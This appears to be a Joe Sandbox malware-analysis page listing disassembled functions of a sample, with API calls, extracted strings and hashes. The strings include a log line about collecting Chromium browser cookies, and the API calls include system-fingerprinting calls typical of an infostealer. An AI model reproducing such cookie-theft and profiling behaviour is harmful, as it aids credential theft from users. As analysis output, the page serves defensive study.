Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&$[info] collected cookies file of the chromium-based browser$onqp$onqp
API String ID: 237503144-3553015444
Opcode ID: c3e7ce5279bbfde57a6df063cb837e0ba5410395dca0e577725f3cf45325333f
Instruction ID: 03b20d697cc4d4ceda3fd1ee009f6e38ade5153744173ede794293296183730d
Opcode Fuzzy Hash: c3e7ce5279bbfde57a6df063cb837e0ba5410395dca0e577725f3cf45325333f
Instruction Fuzzy Hash: F4829A79608341CFE314CF18D89076BB7E2FB8A314F198A2DE4959B3A1D778D845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00423943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424618

Strings

+u7, xrefs: 00424AE1
Z8J*, xrefs: 00424A1B

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: ComputerName
String ID: +u7$Z8J*
API String ID: 3545744682-3577212644
Opcode ID: e5e2bda020c127f40aa795968d0effa3993ca4e991fe1260367e154c84f4a601
Instruction ID: 165055785b86ff1ff65636ea23ef9f62a0f191231776936cceeb048ae6667778
Opcode Fuzzy Hash: e5e2bda020c127f40aa795968d0effa3993ca4e991fe1260367e154c84f4a601
Instruction Fuzzy Hash: 10328E70244B528AD729CB34D464BE3BBE1EF57308F484A6DD0FB8B682D778A406CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424618

Strings

P6D/, xrefs: 0042451F

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: ec06e984c2a30449314d1b88ce17414e3d69ff200de55d535a507df5e3aeb3c0
Instruction ID: 24e67b7c81de9a4d5bd346c315e300abd70e7ef5a1aa41be01d77cb8b643429b
Opcode Fuzzy Hash: ec06e984c2a30449314d1b88ce17414e3d69ff200de55d535a507df5e3aeb3c0
Instruction Fuzzy Hash: 0F328D70204B928AD726CB34D494BE3BBE1EF57309F48496DD0FB8B282C7796446CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042451D

Strings

P6D/, xrefs: 0042451F

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: 34397599d365594b1f27bb1d2b1b2e758320cc75eb18bdda5297ea087a9b94d1
Instruction ID: 368cbe518a004d91c844a8922d65ddcbde3b63ca03ed0cce2041834018fe7c5f
Opcode Fuzzy Hash: 34397599d365594b1f27bb1d2b1b2e758320cc75eb18bdda5297ea087a9b94d1
Instruction Fuzzy Hash: B9329B70604B528AD726CF34D8A4BE3BBE1EF56308F48496DD0FB8B282C7796446CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00404740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

), xrefs: 004047ED
IEND, xrefs: 00404C7E
IHDR, xrefs: 00404B89
IDAT, xrefs: 00404C05

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 999feb72cb34461e31fad44a3bfa48fb88dcf5108d16b411e1a0856aea14924b
Instruction ID: 616d1399deee0a63aede7b3c3a380fc91103d69987d9aa92d37846ddb7d7f5fd
Opcode Fuzzy Hash: 999feb72cb34461e31fad44a3bfa48fb88dcf5108d16b411e1a0856aea14924b
Instruction Fuzzy Hash: 6312EFB1A083448FD714CF29DC9076A7BE1EF85304F04857EEA849B392D779D909CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00415999 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

x, xrefs: 004159DA

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: ad05adff6cc53639aa453a7d6789a5a507c4f618ea68bd813a2b9754d8c9e1cc
Instruction ID: 5e393febd6900f2cd60b323e8f13313b4837cbc21583559a6409e5a725ef4311
Opcode Fuzzy Hash: ad05adff6cc53639aa453a7d6789a5a507c4f618ea68bd813a2b9754d8c9e1cc
Instruction Fuzzy Hash: D071A1B15087818BD324CF24C49179BFBE1AFD5344F04892EE5D987382D639D949CB56

Uniqueness

Uniqueness Score: -1.00%

Function 02D18196 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02D181BE
Module32First.KERNEL32(00000000,00000224), ref: 02D181DE

Memory Dump Source

Source File: 00000000.00000002.1889716218.0000000002D17000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d17000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6d18b1871863777116f3b78218e6b196e09ba8af29b51d9852dd711dffa13daf
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B9F0C2366007107BE7207AF4A88CB6B76FCBF49625F100628E642E29C0CB70EC858A60

Uniqueness

Uniqueness Score: -1.00%

Function 00414C49 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

F, xrefs: 00414D3C, 00415984
onqp, xrefs: 00414CBE

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: onqp$F
API String ID: 0-3477909023
Opcode ID: c3083e97637d1b98026382a83799bf2342d2e2ddf52232be111aac2c52a1a691
Instruction ID: 63a37f33c9773b82383deb7d5d266ebc64ff0dd11a4c80cef5b7f70997e62e81
Opcode Fuzzy Hash: c3083e97637d1b98026382a83799bf2342d2e2ddf52232be111aac2c52a1a691
Instruction Fuzzy Hash: 3121A3B96183418FD72CCF04D5A07BFB7E2AFC6708F54182DE9824B381C77998418B8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C540 Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

onqp, xrefs: 0041C866

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: f26432a11f0e7628f2c7279f7c5f6f07fb9995b0172de89e613e759d3e56c9af
Instruction ID: 443a94687d516e7fce39df943a97d10845015d358397bdc9878ab89e8d70c56d
Opcode Fuzzy Hash: f26432a11f0e7628f2c7279f7c5f6f07fb9995b0172de89e613e759d3e56c9af
Instruction Fuzzy Hash: AAA1FFB16443018BD714EF14CCA1BABB3E1FF95724F18491EE49287391E378E991CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00433CC0 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00438D36,005C003F,00000006,?,?,00000018,82818087,?,ZKA), ref: 00433CED

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: c1b3d4492825e51a2129b00b8cd86cf652684bda125d9e4c8d1b0ba6372c1005
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 74E0B675508212EBDA05DF45C14051FF7E2BFC4B14F55C88EE88433204C7B8AD45DB42

Uniqueness

Uniqueness Score: -1.00%

Function 004137C9 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

E&eb, xrefs: 00413787

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID: E&eb
API String ID: 0-175690455
Opcode ID: e98a84fdc1d20ca021328a73e32aeb666d55a0fa0048f113b6151455cacfdda1
Instruction ID: b8f5a8e3dcf807d80dac774d48860337069215117526bb8331fba5c9a38cef06
Opcode Fuzzy Hash: e98a84fdc1d20ca021328a73e32aeb666d55a0fa0048f113b6151455cacfdda1
Instruction Fuzzy Hash: D931B1B1600B018BC725DF75C881AA7B3E2EF89314F18892DD0AAC7791E739F5818744

Uniqueness

Uniqueness Score: -1.00%

Function 004204B7 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46fbeddb66f7a8c04074172de88dd742a5524ad022029cc08458de20aa75746c
Instruction ID: 33964663c1c25b7ce45e863f8a9a155cb930722d678f5f3125d4410b750ac910
Opcode Fuzzy Hash: 46fbeddb66f7a8c04074172de88dd742a5524ad022029cc08458de20aa75746c
Instruction Fuzzy Hash: C0E168B8600B018FD328CF25D994B27B7E5FB49308F84492DE49687B62E778F845CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00420CA0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e7ada1e3402fe821196b5742b45cc7b1acc86e6ea49434a980e33cc092af475e
Instruction ID: cfdd1eac7a752c9895d8910292a9cdf1f7f4ab7debb0d412fb0fa544ba69e460
Opcode Fuzzy Hash: e7ada1e3402fe821196b5742b45cc7b1acc86e6ea49434a980e33cc092af475e
Instruction Fuzzy Hash: E3C1E2B1B083518FD314CF18D89072BB7E1EB95318F65492EF49587392E379D845CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00432010 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7d688c4800d7467e5dec71b2816dc21eadf218d5a55f189bb6d84b232167a9
Instruction ID: 2ad7af327792f261ff722e5f1da2ed22df55520e29869c472b0f36c5ca345de1
Opcode Fuzzy Hash: dc7d688c4800d7467e5dec71b2816dc21eadf218d5a55f189bb6d84b232167a9
Instruction Fuzzy Hash: E6A18A74600B018FE728CF25C994B17B7E1FB49304F14896DE5AA8BB91D779F905CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00433D10 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e0e2ec75268ac31b636375ce83739fad1511776ca76e724a2cd0e06c5c1aa90
Instruction ID: be2f659581eec67e65d3233d53e9a8afebf0bf0bc19166d434e5d2f0596eea41
Opcode Fuzzy Hash: 7e0e2ec75268ac31b636375ce83739fad1511776ca76e724a2cd0e06c5c1aa90
Instruction Fuzzy Hash: C881BD70A083029BE314CF14C494B2BBBE1FB89759F64991DF4855B392D378DE45CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00422458 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b5f4f53ba419257f2c99d53f27223171b991d6193ee5832ef2f56c753d8d8e1
Instruction ID: 4c680af95089d7f0266524c2a1d5a39c2a6c001387b2c56eb0ee7e33708b2ad5
Opcode Fuzzy Hash: 5b5f4f53ba419257f2c99d53f27223171b991d6193ee5832ef2f56c753d8d8e1
Instruction Fuzzy Hash: FB5168742007119BD724CF28C861B62B3F1FF4A318F548A5DE8968B7A1D779B845CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004357CA Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8b148af547a59128bb71e64be0d4d12e62a739c123e6228515b622e6ca986d7
Instruction ID: e2717505d55db8640db63e85cfe19b0466bde158ad5ac179620a4d1d884c2fba
Opcode Fuzzy Hash: a8b148af547a59128bb71e64be0d4d12e62a739c123e6228515b622e6ca986d7
Instruction Fuzzy Hash: 124179746083029BE708DF04C594B2FB7E6BFDA718F68591DE0858B341D338ED169B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004359E2 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2911f6e714779df75f77f4e9c30eb5bfbff7d856db354c347998ed89740c5d8
Instruction ID: c1c90ed302c5d13420f5bca68ce5e1754aac3df7c22edd8dd8ca255a1c6ae94c
Opcode Fuzzy Hash: a2911f6e714779df75f77f4e9c30eb5bfbff7d856db354c347998ed89740c5d8
Instruction Fuzzy Hash: 2C216D746083029BE310DF04C994B1FB7F2BBC5B08F245A1DE1949B396C779DC059B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00429597 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71eeffcf46f1b7fa9e56d8600949dbbcd25cfd78c9bd91e554dbcc0743bda1b8
Instruction ID: e757895f7bb26a2b2320ca7d8dd105008f44d0bd9ca2c0e57cc8f66670818d05
Opcode Fuzzy Hash: 71eeffcf46f1b7fa9e56d8600949dbbcd25cfd78c9bd91e554dbcc0743bda1b8
Instruction Fuzzy Hash: 43E0E5B06083018FC314EF28D591B5BBBE0FB89304F12C82DE49A8B254D779A944CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02FD003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02FD024D

Strings

cess, xrefs: 02FD018D
kernel32.dll, xrefs: 02FD008F, 02FD0095

Memory Dump Source

Source File: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fd0000_asbpKOngY0.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9d422c649eb980d0a016086795d694f7a74b9cbe6fc16cffd19e1ac36a486dfb
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 23525975A01229DFDB64CF68C984BACBBB1BF09314F1480D9E94DAB351DB30AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0041D690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041D77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041D7A8

Strings

X&, xrefs: 0041D6BF
SE, xrefs: 0041D6A7
AV, xrefs: 0041D6AF
-^, xrefs: 0041D6B7

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&
API String ID: 237503144-3017178743
Opcode ID: 126da50c2d0a41b480321852bc94709b34504f4e9e0a0586602205dd78c64019
Instruction ID: 414b802ac07eb15e34250c72f36e95362d79bb1e0692564b293e6573eb188213
Opcode Fuzzy Hash: 126da50c2d0a41b480321852bc94709b34504f4e9e0a0586602205dd78c64019
Instruction Fuzzy Hash: 7A71AAB06083518FE324CF14D8A0BABB7E1EFC6314F114A2DE8E95B280D7789945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00414950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041499D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 004149CE

Strings

r]Nm, xrefs: 00414B69
<Y.[, xrefs: 00414A5E
2M#O, xrefs: 004149EC
qrs, xrefs: 00414A04

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 2M#O$<Y.[$r]Nm$qrs
API String ID: 237503144-2765572984
Opcode ID: 1eeaee2e8186193ac6611b8cf20863375f2d41a74451ba6092e37ba744e7f2b9
Instruction ID: f437b4c60a0e393287c60c1191dc60451405bce4f387bbd6b600237a0ee68e47
Opcode Fuzzy Hash: 1eeaee2e8186193ac6611b8cf20863375f2d41a74451ba6092e37ba744e7f2b9
Instruction Fuzzy Hash: C751B2B46183419FD320CF14D891BABB7E5EFC6324F054A1DF9958B381E3B89941CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00424AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004250BF

Strings

M:h:, xrefs: 0042520A
P6D+, xrefs: 00424FA1
hFt=, xrefs: 00425203

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: c278c4235c0e40e0a55a1437a375328b041559dd9e5fde0177f8855f0f599da5
Instruction ID: 6d38b88902e1eb16ca30da568e3269f0221434b507219f1e067bc0dfabd335eb
Opcode Fuzzy Hash: c278c4235c0e40e0a55a1437a375328b041559dd9e5fde0177f8855f0f599da5
Instruction Fuzzy Hash: 6BF14C70504F928BD726CF35C4687A3BBE1AF56308F44496EC4FA8B792C779A406CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00424F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004250BF

Strings

M:h:, xrefs: 0042520A
P6D+, xrefs: 00424FA1
hFt=, xrefs: 00425203

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: f007e3d9ca2201ad5f316ff58b39a856bbcbb1e41c1eb315934e33bab86fd111
Instruction ID: f66b18d75a9a4d2bb6148ac8f6660ab2d7ad2189567b3251afa320a6a21df7b8
Opcode Fuzzy Hash: f007e3d9ca2201ad5f316ff58b39a856bbcbb1e41c1eb315934e33bab86fd111
Instruction Fuzzy Hash: 0ED15A70504F528BE726CF35C4A87A7BBE1AF56308F44496DC0FA8B792C779A406CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E08D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E0BC

Strings

M3, xrefs: 0041E171, 0041E175
ru, xrefs: 0041DFDB

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ru$M3
API String ID: 237503144-652937946
Opcode ID: 7291a3a811873626bd3b785a5b847c75c0ba1258cac978df8a67f20d3e36ac33
Instruction ID: ee0422986e9a500056daf517ec787597a82c07e08ececa7a1628db096f87ed23
Opcode Fuzzy Hash: 7291a3a811873626bd3b785a5b847c75c0ba1258cac978df8a67f20d3e36ac33
Instruction Fuzzy Hash: 585153B5108381AFE314CF01C990B5BBBE5ABCA354F10892DF8A55B381C775DA868B96

Uniqueness

Uniqueness Score: -1.00%

Function 00431DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00431E18

Strings

C, xrefs: 00431DD5
:, xrefs: 00431DDC
\, xrefs: 00431DE3

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: 66204d55befe17f0d94a4a8d29d4561092dd70cceac0cbdb9e091147346ca143
Instruction ID: c07b020124bcaf9168d5cc752a0c39b43d1a69f77c2585f3e396cbfa2ffbe00c
Opcode Fuzzy Hash: 66204d55befe17f0d94a4a8d29d4561092dd70cceac0cbdb9e091147346ca143
Instruction Fuzzy Hash: 09F06574654301BBE328CF10ED27F1A72A49F86B04F20982DB245961D0E7B5AA189A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00408C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00408CFE

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 00408CBD

Memory Dump Source

Source File: 00000000.00000002.1888309445.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1888309445.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_asbpKOngY0.jbxd

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction ID: 59104990f458cfd7c5091e5889e4cb5e8d5d284f7426018ae83b6ee6547e8fc3
